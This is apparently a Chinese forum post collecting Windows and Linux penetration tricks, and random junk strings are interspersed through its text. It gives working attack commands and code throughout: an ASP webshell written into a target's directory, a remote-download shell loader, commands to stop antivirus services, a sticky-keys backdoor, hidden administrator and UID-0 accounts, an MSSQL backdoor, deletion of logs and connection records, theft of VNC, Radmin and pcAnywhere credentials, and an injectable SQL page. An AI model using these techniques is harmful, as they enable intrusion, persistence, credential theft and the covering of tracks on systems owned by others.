渗透技巧总结

admin

旁站路径问题
8 P+ G9 m) U1 J1 y5 D! Y  A1、读网站配置。
0 g# z0 ~2 F  \. m0 d2、用以下VBS
On Error Resume Next
& i9 ?. b7 O- ~- O, GIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        
$ m3 O& y$ k9 a: H
Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
9 n9 D6 a, E  J5 z  _6 h1 o4 y
Usage:Cscript vWeb.vbs",4096,"Lilo"
* a* k& |) T& f, Z9 B, R        WScript.Quit
End If
Set ObjService=GetObject
, _0 z) d( R/ u8 B1 H! K
("IIS://LocalHost/W3SVC")
+ R& m; m* X7 D/ x3 _/ wFor Each obj3w In objservice
        If IsNumeric(obj3w.Name)
8 X& J! t4 a% C; o
Then
* p4 l( Y6 ]  }- q                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
" R1 O: P; Q: E& M, O1 z         
* r; V3 P; {# N* n3 @' f
7 j' r* u3 {; O2 Q       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
" S/ H' s7 r  `2 [                If Err

<> 0 Then WScript.Quit (1)
$ `1 R3 o4 F. }, h                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
& s" `4 L$ H* ^6 I/ |5 B     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        
; ?4 y/ `( P! ^6 m" E$ s8 s
- q$ Y  h. z3 w3 V7 CWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
      

         WScript.Echo "ath            : " & VDirObj.Path
        End If
% ?5 |* B* c1 k7 S1 s) h- o* NNext
( L- ]" ^7 u- ^0 e2 V# [6 V+ o/ x复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
9 x! |! q7 ^. j- k9 U( iWordPress的平台，爆绝对路径的方法是：
1 V8 f/ \8 a6 furl/wp-content/plugins/akismet/akismet.php
6 M; N) x1 E; E+ u' N% w; a% Wurl/wp-content/plugins/akismet/hello.php
7 u- H" n, z, k% g" i——————————————————————
phpMyAdmin暴路径办法:
- s' W" ?% w3 O; J" k! s; ?1 CphpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
3 b1 i# h' B" YphpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
- c; w; G3 ?) B% M9 c8 t" r————————————————————
网站可能目录(注：一般是虚拟主机类）
0 h6 ?3 ?+ {/ V+ o  m& sdata/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
5 t' r. R, a( K* S9 |( Q+ d; Znetsh ras show user #查看哪些用户可以拨入VPN
7 K& o3 t9 G) x% _1 K, Dnetsh ras ip show config #查看VPN分配IP的方式
# S  N. D' ^* b& unetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
0 `  V! E, ]: n$ ]" m命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
; u0 p) L  W0 f) H% ~( I( Iexec master.dbo.sp_addlogin test,123
, H3 V0 j" y- l$ Z* X9 ^# nEXEC sp_addsrvrolemember 'test, 'sysadmin'
. ]4 p# @& `8 k$ i然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
2 w& t& [/ L$ Z1 T6 l9 q1 b' q" a' }var o=new ActiveXObject( "Shell.Users" );
% D/ Z5 q( S; Q" S' Nz=o.create("test") ;
) Y* F+ Q/ k) g( U/ iz.changePassword("123456","")
z.setting("AccountType")=3;
( x* C/ Y. z/ l* P
) V# V" h, v+ U% g+ X) W2 evbs:
Set   o=CreateObject( "Shell.Users" )
4 t1 y' D% }4 n3 B4 @& @6 nSet z=o.create("test")
! K6 W2 j; R% O2 u) l# zz.changePassword "123456",""
z.setting("AccountType")=3
——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
! Q% J' e9 S) `9 @3 q
命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
/ y; o: R3 Z4 q' \2 j————————以下配合PR更好————
) _. m" j$ D/ R% N6 }3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
c、终端服务器超出了最大允许连接
+ q( E/ y" M; R1 }4 U0 IXP 运行mstsc /admin
2003 运行mstsc /console   
8 M6 g+ t4 G! L) s" Y
; Y: O5 ?4 c2 f1 ^$ ~杀软关闭（把杀软所在的文件的所有权限去掉）
( @0 y. b5 A( @处理变态诺顿企业版：
+ [0 b# H5 \0 ?* `1 f" Mnet stop "Symantec AntiVirus" /y
* k$ J  Z1 R# Q( Q! rnet stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
' i5 C9 _/ v$ u. mnet stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
  W. i, S0 R. z; o  N2 D* ]6 k3 q
卖咖啡：net stop "McAfee McShield"
————————————————————
( ]! `! l2 m; m2 C. s: Q
* Q4 P# {3 |8 }- k5次SHIFT：
3 |8 r+ o$ a5 A3 ~( y7 S! |3 ncopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
- e* m: [0 K3 J+ Dcopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
6 X1 c2 v" y8 V& ]8 V+ J( Q隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
3 Y, }0 A/ o/ H% G% B3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
: c, [9 v. d! W4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
# g% C% M4 A* d7 F- C3 QMSSQL扩展后门：
& a  ~0 @& ?8 P6 t' EUSE master;
9 t2 A- E# @& q$ N! X) L' SEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
$ \% q! X# d5 H+ J$ kGRANT exec On xp_helpsystem TO public;
: P, A0 [0 @$ b% F9 r) f———————————————————————
) \$ |8 m) E8 i! y日志处理
( ^9 n0 [, ], t) c  X% ~C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
8 K7 p2 y4 _5 Y+ W/ V$ q7 u直接删除 ex0111124.log
不成功，“原文件...正在使用”
6 x4 l$ p  X! N. _7 N! K当然可以直接删除ex011120.log / ex011121.log
3 {. X/ f: U7 a7 P用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
' }4 J, y0 _( s# f  Y( S  v! w当停止msftpsvc服务后可直接删除ex011124.log

MSSQL查询分析器连接记录清除：
' T- Y  Z, P. eMSSQL 2000位于注册表如下：
! n' \# X. I3 Y$ P& yHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
5 y2 x4 K. ~  g' y4 a找到接接过的信息删除。
% ^7 [1 N1 \& E! ^: M. t7 s, nMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

Server\90\Tools\Shell\mru.dat
8 [+ [. u9 h( _—————————————————————————
& h3 Y5 ^/ L$ X% f/ H; z0 b- O1 X, t防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

6 D$ b6 E: C& f( u8 m1 e- J<%
  N& y% ?% E' Z3 t; ]Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
3 ~% L1 S9 P6 LDim Ads, Retrieval, GetRemoteData
" ^. M+ d2 ]. t& d8 D- F% k; Y( ZOn Error Resume Next
8 v& Y& G* \( J4 P' r9 T4 JSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
5 q( ^, }# K2 ZWith Retrieval
; d  a, l0 R, ?; H. E. ~7 p! G.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
" x1 f- _7 K2 X. Z' EGetRemoteData = .ResponseBody
End With
: Y# T5 J. A5 f: t8 ~8 m" q5 |6 RSet Retrieval = Nothing
% ^) _& S: {$ F  bSet Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
.Open
.Write GetRemoteData
8 G9 K( ]8 d3 W" A1 G.SaveToFile Server.MapPath(s_LocalFileName), 2
+ w/ W. V. x+ m3 l# o, G: A( m' k, d. C! T.Cancel()
.Close()
End With
9 u* @& c" M) h8 i  x7 |6 qSet Ads=nothing
End Sub

8 w* _" R7 p, A- i, \eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
9 f- L: Z( n9 B8 o& s, U# W' z' {%>

VNC提权方法:
+ _7 `6 r$ m. ?4 R9 P1 q+ _5 _利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
+ P0 W" j4 D4 n3 r0 j: f如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
4 b1 h3 I+ }. ~+ m——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
# q2 V3 I4 m2 u9 C* ~$ V( g——————————————————----------
7 p0 d6 j5 c( Z: l1 R+ B& u$ @WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
6 Y1 ?8 Y2 y& Y) Q$ c没有删cmd组建的直接加用户。
7 C) k) U% m# `. F8 Z' E7i24的web目录也是可写，权限为administrator。

1433 SA点构建注入点。
<%
' z$ v. c, I/ RstrSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
# J/ R& r/ |$ g; S& pstrSQLDBName = "数据库名称"
$ p, P. r! O  h  LSet conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
1 V: G* \/ L+ V, [
. `, Y3 l3 K5 f# f3 Q. k' |+ c";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
" w6 a, f- j4 {  V; f
strSQLDBName & ";"
conn.open strCon
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
+ m$ k# ?; @3 e" L' Y9 L9 b) Jid = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
%>
9 F( q) B+ Q% F* C& C3 L复制代码
******liunx 相关******
一.ldap渗透技巧
1.cat /etc/nsswitch
8 D( W+ l* x6 I' L! R; `看看密码登录策略我们可以看到使用了file ldap模式
; K2 @7 m8 n# o$ h& ?, ~' d# P* \6 w
2 [, W5 u! }) Y# |; S2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

8 ^3 Y  S: w# F3.查找管理员信息
匿名方式
6 y- s4 X& {# h& w$ Dldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
. L4 v0 r% M' G1 c# T, @- u
; x3 F' c3 Y. l# [  W9 i5 X"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
! j- E) i: }  X( _% \' {" b4 D$ W有密码形式
# T6 u* V7 m0 [2 hldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
5 L- G  `, r, H" [
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
5 Z6 w1 `: [9 f8 ?6 }& ]
: k! C3 \% z, E4 i) N& T, g
4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
. C7 l. Z$ B7 q( [
实战:
1.cat /etc/nsswitch
" N$ W" ~+ y1 s, Z$ A/ i" o' D看看密码登录策略我们可以看到使用了file ldap模式
' m, E$ }$ l: c
2.less /etc/ldap.conf
5 s9 X( [1 F! k. k4 n  Vbase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
" y0 I: q1 f& V/ N
3.查找管理员信息
匿名方式
) c: z# H( X  I9 I# d- f. z/ rldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
; B6 t4 b! E: K0 Z% ~: m  D
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
! r. C" S% o$ A+ n+ x9 I0 Lldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
1 O7 Z% T) j! ~
- _+ D" e5 V+ z2 a  @7 g"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

3 L9 w2 x/ C1 M* Q0 W' b
: Q* L4 H+ m9 Z* a$ }5 H4 y" J4.查找10条用户记录
2 \4 [/ j5 \; d6 Wldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
1 M" D; w/ B, U' L: c1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
dn: dc=ruc,dc=edu,dc=cn
1 G" X; {' A* P: W7 R2 Q5 [dc: ruc
1 s4 e  o8 U; G) XobjectClass: domain

+ z- \, Y  }- F' ^4 ydn: uid=manager,dc=ruc,dc=edu,dc=cn
4 [) j& H1 a) I. a3 s6 F; Auid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
" @& e, o; f9 `+ S5 K( ]# k4 \objectClass: person
% j7 s% E. f+ G- p  l# L) e: U  j* RobjectClass: top
' l3 y+ @$ ^2 |& N7 |5 U. Osn: manager
cn: manager

" s1 U" d; i+ vdn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
9 {: d  L7 N$ l0 PobjectClass: inetOrgPerson
objectClass: organizationalPerson
8 R/ i# D4 l% j0 v5 RobjectClass: person
3 t* V, {( Y# }2 dobjectClass: top
; v: e, q3 Q% E3 h- E/ o; e5 msn: superadmin
& @# Q9 |* `: I5 y( S4 Lcn: superadmin

dn: uid=admin,dc=ruc,dc=edu,dc=cn
0 S& t+ [7 R- X; s" guid: admin
objectClass: inetOrgPerson
: ?$ B4 ^( u  @& J( robjectClass: organizationalPerson
. ?6 ~/ M5 f- g" z# W2 I/ cobjectClass: person
" l$ X) s' e! q; _3 FobjectClass: top
sn: admin
cn: admin
# `0 {, I) A1 ?
5 f' N* w2 I2 m  d) {dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
( d  C: C8 B  O( H3 juid: dcp_anonymous
0 G" W) n: e" w2 Y1 xobjectClass: top
4 `) o* j# y. x! t. I- e. l7 w/ pobjectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
2 {6 B  E5 |. N+ ^6 @: m, N- isn: dcp_anonymous
8 ~0 B/ r+ w' C9 ~) u* R" Ecn: dcp_anonymous
% y0 j2 [( d8 Y
4 J: ~; ~/ e  L2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
' Z7 {9 I% i/ S4 r" o! E( k
3 K" l/ B8 R2 e! G( ?more
version: 1
dn: dc=ruc,dc=edu,dc=cn
& R: J3 \5 S( X1 _# A8 pdc: ruc
objectClass: domain

3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
dn:
& ^: P9 r  n% iobjectClass: top
' p1 ]& }4 Y5 S5 v9 c7 ^namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
, B& v" T) K& w, ]  z0 g* `7 i. lsupportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
9 |1 J$ v  M, C, y- [* wsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
1 w2 t: v: O* i1 [supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
) ?! {8 x1 c; Z  dsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
; f0 \. s* G. Y+ E) K, ~6 XsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
6 y8 a7 Z& t/ M: {$ W1 X, WsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
* {( D5 K/ C! Q2 d9 q! msupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
* _, H' R/ z; Y) h2 I" DsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
" y( F5 Q6 M5 rsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
9 E: g. y4 @/ q2 LsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
. m2 S/ g- I0 ?- q1 qsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
0 Y# i5 _9 X% M' _5 G  BsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
5 H. m' F! }. B+ Y) q0 |supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
( M* k9 S2 {* n: G, jsupportedControl: 2.16.840.1.113730.3.4.3
2 d. E# Z' X3 @1 W5 U* [  E9 p9 n" k! TsupportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
# N3 s+ d7 E8 V6 C' b& ^& ^9 AsupportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
7 r7 k+ w' S2 ^9 X8 F& OsupportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
, ]1 @( \4 \) f2 asupportedControl: 2.16.840.1.113730.3.4.19
$ @! F6 n) L  ssupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
- ~/ H7 M# X" F' l1 k8 xsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
4 m0 S- A4 E7 W' s8 T9 ZsupportedControl: 2.16.840.1.113730.3.4.14
: L5 ^7 f' ]- X: E- d4 a% _1 ]supportedControl: 1.3.6.1.4.1.1466.29539.12
2 j8 p" C0 }" M5 o1 _" ksupportedControl: 2.16.840.1.113730.3.4.12
  m; @$ }/ l+ K7 esupportedControl: 2.16.840.1.113730.3.4.18
+ n& W, T7 N& R6 rsupportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
* p' Q6 x( O# e( L  vsupportedSASLMechanisms: DIGEST-MD5
$ o& y  o# ?. O( R. p& v1 x- [- tsupportedLDAPVersion: 2
& i1 a2 T/ t8 [" P- bsupportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
! ~' x+ {# Q; `  f4 z8 xnetscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
7 b8 e4 q- I. {( Z' dsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
1 r- j, |9 d. h# xsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
- m- x! T# i; F- Q" L, h* j3 TsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
. M: A; H" q: }supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
/ `4 B6 ~5 D) @" ^$ B% l* ksupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
/ \7 H( r" M0 a1 HsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
- H  E" R3 p' B" y$ u% ssupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
0 j# L" B: B& TsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
1 y2 d- c% ]- ]  w6 wsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
1 Q7 |. S! a8 J/ f$ hsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
8 I6 p7 w) O6 @6 [supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
" b6 J' C5 p" D6 E4 X1 B4 o3 CsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
' \) [/ J0 \- x+ d& AsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
" q+ h% w. Q' u# H, H( d" r' fsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
' M/ {' d6 x/ M! ?supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
" B  o8 ~# p3 t: }0 J6 rsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
7 u' \3 L1 `9 U( _0 ksupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
, X! p- B& O4 w) C, H: w4 osupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
% G7 B% C: V- `. g; O: QsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
& ?' x/ ?  J  j# T4 s( F, h————————————
0 s( r" V! p: m2. NFS渗透技巧
showmount -e ip
. _: H. e0 Q/ y: c列举IP
0 m' C/ G+ b! U——————
( M# t, D9 i* i1 Z! S6 q* o2 s3.rsync渗透技巧
1.查看rsync服务器上的列表
* i. C8 V% v$ Z. b% ~rsync 210.51.X.X::
. }; e8 h( Q4 {finance
  J5 B* L  n9 I* c% Gimg_finance
auto
img_auto
. n9 w& `1 J. jhtml_cms
- B( T4 m" W7 W3 W5 \img_cms
ent_cms
ent_img
ceshi
res_img
res_img_c2
chip
chip_c2
( H/ m. q; y& U  T1 Ient_icms
games
2 K" C. f7 s5 |( I6 U: `gamesimg
3 p/ L3 H9 k& h' N! v* _media
mediaimg
" s: H6 D# ~( d) c; ?2 wfashion
res-fashion
res-fo
+ G0 }( z3 s7 |taobao-home
) b2 a9 |! O  y' Ores-taobao-home
  E1 v2 |+ F" B' X: y0 R' C. Yhouse
res-house
9 ~1 g% ^; f7 l$ P* G6 g7 h* X# V  n) e$ vres-home
res-edu
5 l; |1 b% o6 F- Eres-ent
/ m) h( \  s( n4 |' h* Jres-labs
! }0 n+ ?0 r9 g& L( G5 \7 hres-news
res-phtv
, X- q- I( s- k' z/ L% X, Vres-media
0 ~5 r7 Z& `& \  U0 ?* ^home
edu
& A6 w0 G, |- O9 Wnews
res-book
! h" o6 Z2 [/ F7 e
看相应的下级目录(注意一定要在目录后面添加上/)
. K8 o5 M( T4 k8 C# t* O; C  e

rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
5 T6 z6 ~/ `2 Ersync 210.51.X.X::edu/

( h; c+ S5 Q' W! F$ t2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
. j$ w. B+ k) H+ j5 p0 A
3.向上更新rsync文件(成功上传,不会覆盖)
. |# i3 }, |8 wrsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt

四.squid渗透技巧
nc -vv baidu.com 80
% u* W1 n$ F. J5 {0 N) K/ w' H5 EGET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
7 R% d% X  t$ I% f7 m7 I, Q五.SSH端口转发
& U- f5 c! F8 S+ lssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

& V+ I  ~( \3 p六.joomla渗透小技巧
确定版本
  e9 q5 F/ `4 C5 l8 e9 {index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
7 C+ r: S' D2 c4 v0 t: S% S. S
0 u4 j( u& b/ M- R& b0 C, J: e7 _; ^15&catid=32:languages&Itemid=47
0 `$ B9 [' C$ |
! E3 p2 S7 B: m  D+ h重新设置密码
index.php?option=com_user&view=reset&layout=confirm
( ~8 w- S, k! W
1 o. c( @2 {0 r) Q) q七: Linux添加UID为0的root用户
useradd -o -u 0 nothack

八.freebsd本地提权
[argp@julius ~]$ uname -rsi
9 W7 S$ k# b* X$ }9 e- C9 j* freebsd 7.3-RELEASE GENERIC
, q: U, B9 [4 E4 t* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
* [argp@julius ~]$ id
6 h4 n; E8 {* U* uid=1001(argp) gid=1001(argp) groups=1001(argp)
. d$ [; p: M* \: G* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
, r+ i- ^, @" u*
calling nmount()
0 f2 k- b. b# v( `! l' c( k# e! x
（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
